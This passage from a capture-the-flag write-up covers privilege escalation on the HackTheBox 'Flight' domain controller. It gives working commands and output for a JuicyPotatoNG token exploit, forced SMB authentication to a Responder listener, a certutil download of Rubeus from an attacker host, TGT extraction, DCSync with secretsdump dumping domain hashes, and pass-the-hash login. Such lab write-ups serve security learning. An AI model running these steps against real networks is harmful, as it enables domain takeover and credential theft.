As expected, the iis apppool\defaultapppool user has the SeImpersonatePrivilege, which allows our user to impersonate a user that it’s able to get a handle to. The most well known and probably easiest way to escalate with this privilege is using one of the famous potato exploits that exploits the way Microsoft handles tokens. image-35.png

My favourite way is actually using PrintSpoofer, however this isn’t possible this time as the Print Spooler service is disabled on the machine.

image-36.png

At the time of box release, a new version of JuicyPotato - JuicyPotatoNG had just came out, and was working on the latest version of Windows so was perfect to use. I used it to simply read the root flag on the machine, although we could just as easily get a reverse shell.

1
2
3
c:\Windows\Tasks> .\JuicyPotatoNG.exe -t * -p "C:\windows\system32\cmd.exe" -a "/c type c:\users\administrator\desktop\root.txt > c:\root.txt"
c:\Windows\Tasks> type c:\root.txt 
03970351b5b62bdccc5dd86f2968f353

image-37.png

And with root.txt we pwned the box!

Privesc way #2 - DCSync

A more interesting way to escalate our privileges is by abusing the virtual machine accounts. The TGT of the iis apppool\defaultapppool virtual account is actually the one from the DC machine account g0$. Interestingly, this is because these virtual accounts actually authenticate over the network as the machine account. There is an awesome blog post explaining this here.

To verify this, as the appool user we can force an SMB connection to our attacker box with responder running via SMB: net use \\10.10.14.16\a:

1
2
3
[SMB] NTLMv2-SSP Client   : ::ffff:10.129.69.182
[SMB] NTLMv2-SSP Username : flight\G0$
[SMB] NTLMv2-SSP Hash     : G0$::flight:1e589bf41238cf8e:547002306786919B6BB28F45BC6EEA4F:010100000000000080ADD9B1DBEAD801A1870276D7F4D729000000000200080052004F003500320001001E00570049004E002D00450046004B004A004B0059004500500037003900500004003400570049004E002D00450046004B004A004B005900450050003700390050002E0052004F00350032002E004C004F00430041004C000300140052004F00350032002E004C004F00430041004C000500140052004F00350032002E004C004F00430041004C000700080080ADD9B1DBEAD80106000400020000000800300030000000000000000000000000300000B1315E28BC96528147F3929B329DC4FE9D27ADEB96DF3BCF9F6C892CCB4443D80A0010000000000000000000000000000000000009001E0063006900660073002F00310030002E00310030002E00310034002E0036000000000000000000

We see the account trying to authenticate is in fact the machine account flight\G0$, although machine accounts have 120 character passwords so the hash wont crack like we’ve seen before. However, as our current appool user we can extract the TGT of the DC account giving everything we need to impersonate the DC, simulate its the replication behaviour and extract all credential matter from the NTDS.DIT!

First we need to request a useable TGT for the g0$ account which we can do with the tgtdeleg flag from Rubeus.

1
2
c:\Windows\Tasks> certutil -urlcache -f http://10.10.14.16/Rubeus.exe Rubeus.exe
c:\Windows\Tasks> .\Rubeus.exe tgtdeleg /nowrap

image-12.png

We can take this base64 encoded ticket.kirbi contining the g0$ TGT, remove whitespace, base64 decode it and save the TGT on our kali machine in a admin.kirbi file:

1
2
┌──(kali㉿kali)-[/Desktop] 
└─$ echo "doIFVDCCBVCgAwIBBaEDAgEWooIEZDCCBGBhggRcMIIEWKADAgEFoQwbCkZMSUdIVC5IVEKiHzAdoAMCAQKhFjAUGwZrcmJ0Z3QbCkZMSUdIVC5IVEKjggQgMIIEHKADAgESoQMCAQKiggQOBIIEClx7+wuJDfX0XiwCDbnVErSvch3jJ250MdPKAGDPT4mZwfO4r7Zr5/ridry+Ou/1712Jh3LAYpuFjCvvsTw5QS1ADkh5dYFeCasD3y5gqGGADbdRoCpwFNWnR/3aklQuqu3SVKDN5OEXt+pSe6KWmzOQsSV+defxnaZSPNAhW3XXrlXeKbKUURFsr2PMmPtZEZsBuKVgl1jfeMJy3P3FtiWwJwp3AVTyb72FR9/zGq695oci7V+yjXpLfEFT7sGs37AHlC10kzsBYOQBfc5B16Isc/0cv6rWNa9Zq21jSQ5MJNcp73lT2fiwfWs2/CTtsawZX5h1tLK0OVtn763COXCPRY/y82szLx0r7/4nRaKxPO/nvdD1YIZdqZaS+dKorcyRLnSJ8vQMuWrGlQS9jeqvD0jS0BJf2jswhv5L28oRsM4A1HdslcwM9SJIFTnzbC6Wi+PxS/j7Hyul4pjvJj5WSEXfLKjUxirdD0TFysMaP7bxNmEMGQ5W+B9ZtsYeo4Ix3aGwJ8+gwR6aocBXkVq/cnCA9x7q77POZoIbT9cu67o7hNbLStCL7/qdbo3x88gFEA9MoUvvRVFuulceKlxV3FcEc1vWwuIaA24iGTnwccLWdyvGFvQHIldAo2YLBIL0mYF1LEPc1w1F8W2w987vTod+P7NV2T3GXlx1CKHTpCdAeOWsroVR8dJWy004XyabKImSM4WqgIh2T249HIO2K1I5YYHF5d2CgoMJ2nGZb4vg809Q5A72aXD1Kkw16G2EVP8zGyoCtd2AMZxjcsQv0WABEqAI8Vf7pAMSbmuGz1h3huBYtRkH9sLwpKPn1/gWqXER425eBhl33rdWWhURZc4JOd+GPJGfTLW5S2UZwEtaoApd7Th6RV17oQIgWnLRb2tuTVZnwxQfGFOrCN4uk3fGDaBfqy3XrBZF+NhutyXFl39rwTftwqga1bmCTEn8w033P7c+KelfM2lBjAQwuvBvkbn7NEg1KRluPPMy1xzGlJHY68hXl/URopvVpnizU0ho0OATgacCf9wTntCwUXreYFHtmwjaZ5fmpc+V+ipNUPY6P16DN/MkZGeCC/8zY1tmDyfAiPhebvZgwvvfUo1W9O/w8OLgoVdLs4+OBLyrkhj4WKfPEWdwgcTvx6RiYpWVvZNGsGzRs2GTNjbTicomekPxemXPTD1s+7+x+vwViCsRCAO4PBgeT8WREf24WRslkcS274uD+q+U/SvZSwY2kxCDd39ItKF3rckDN6JgoFkh18YfIVwo0eHCTstao4HbMIHYoAMCAQCigdAEgc19gcowgceggcQwgcEwgb6gKzApoAMCARKhIgQgPQB3NB0fAP3X+SXqYk553KA1o9qahG3rzbkzIThULkhUQqIQMA6gAwIBAaEHMAUbA0cwJKMHAwUAYKEAAKURGA8yMDIzMDMwOTA0NTYwOFqmERgPMjAyMzAzMDkxNDU2MDhapxEYDzIwMjMwMzE2MDQ1NjA4WqgMGwpGTElHSFQuSFRCqR8wHaADAgECoRYwFBsGa3JidGd0GwpGTElHSFQuSFRC" | base64 -d > admin.kirbi

image-40.png

We can then convert the kerberos ticket from have the .kirbi extension to .ccache for use with impacket:

1
2
┌──(kali㉿kali)-[~/Desktop] 
└─$ impacket-ticketConverter ./admin.kirbi admin.ccache

After this, we simply set the KRB5CCNAME environmental variable to the location of the .ccache ticket in order to use the ticket from cache during Kerberos authentication.

1
2
┌──(kali㉿kali)-[~/Desktop] 
└─$ export KRB5CCNAME=admin.ccache

image-24.png

Before interacting with Kerberos which uses timestamps as a crucial part of its protocol, to use our TGT we have to make sure our clock skew is right with the flight.htb time server, which we can do via the network time protocol with ntpdate. Without this, our clock skew may be above the tolerance for computer clock synchronization causing a KRB_AP_ERR_SKEW error as outlined in the Kerberos documentation.

1
2
3
4
┌──(kali㉿kali)-[~/Desktop]
└─$ sudo ntpdate flight.htb                                  
2023-04-04 20:23:59.936681 (-0400) +25199.741606 +/- 0.088713 flight.htb 10.10.11.187 s1 no-leap
CLOCK: time stepped by 25199.741606

Lets also add g0.flight.htb FQDN to our /etc/hosts file in order to remotely resolve the host specified in our saved TGT for g0$ via Kerberos.

1
10.129.69.182 flight.htb school.flight.htb g0.flight.htb

By default domain controllers replicate their data between each other, meaning as we have a TGT of the DC g0$, we can simulate this replication using secretsdump to DCSync with the g0$ hash, extracting all the user password hashes from the NTDS.DIT in the domain!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌──(kali㉿kali)-[~/Desktop]
└─$ impacket-secretsdump g0.flight.htb -dc-ip flight.htb -no-pass -k 
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[-] Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:43bbfc530bab76141b12c8446e30c17c:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:6a2b6ce4d7121e112aeacbc6bd499a7f:::
S.Moon:1602:aad3b435b51404eeaad3b435b51404ee:f36b6972be65bc4eaa6983b5e9f1728f:::
R.Cold:1603:aad3b435b51404eeaad3b435b51404ee:5607f6eafc91b3506c622f70e7a77ce0:::
G.Lors:1604:aad3b435b51404eeaad3b435b51404ee:affa4975fc1019229a90067f1ff4af8d:::
L.Kein:1605:aad3b435b51404eeaad3b435b51404ee:4345fc90cb60ef29363a5f38e24413d5:::
M.Gold:1606:aad3b435b51404eeaad3b435b51404ee:78566aef5cd5d63acafdf7fed7a931ff:::
C.Bum:1607:aad3b435b51404eeaad3b435b51404ee:bc0359f62da42f8023fdde0949f4a359:::
W.Walker:1608:aad3b435b51404eeaad3b435b51404ee:ec52dceaec5a847af98c1f9de3e9b716:::
I.Francis:1609:aad3b435b51404eeaad3b435b51404ee:4344da689ee61b6fbbcdfa9303d324bc:::
D.Truff:1610:aad3b435b51404eeaad3b435b51404ee:b89f7c98ece6ca250a59a9f4c1533d44:::
V.Stevens:1611:aad3b435b51404eeaad3b435b51404ee:2a4836e3331ed290bd1c2fd2b50beb41:::
svc_apache:1612:aad3b435b51404eeaad3b435b51404ee:f36b6972be65bc4eaa6983b5e9f1728f:::
O.Possum:1613:aad3b435b51404eeaad3b435b51404ee:68ec50916875888f44caff424cd3f8ac:::
G0$:1001:aad3b435b51404eeaad3b435b51404ee:140547f31f4dbb4599dc90ea84c27e6b:::
[*] Cleaning up... 

image-43.png

We now have the NTLM hash for the Administrator user: 43bbfc530bab76141b12c8446e30c17c, meaning we can simply pass the NTLM hash to remotely login to a high integrity shell via WinRM.

1
2
┌──(kali㉿kali)-[~/Desktop] 
└─$ evil-winrm -i flight.htb -u administrator -H 43bbfc530bab76141b12c8446e30c17c

image-41.png

And we can see we completed the box!

image-38.png

This post is licensed under CC BY 4.0 by the author.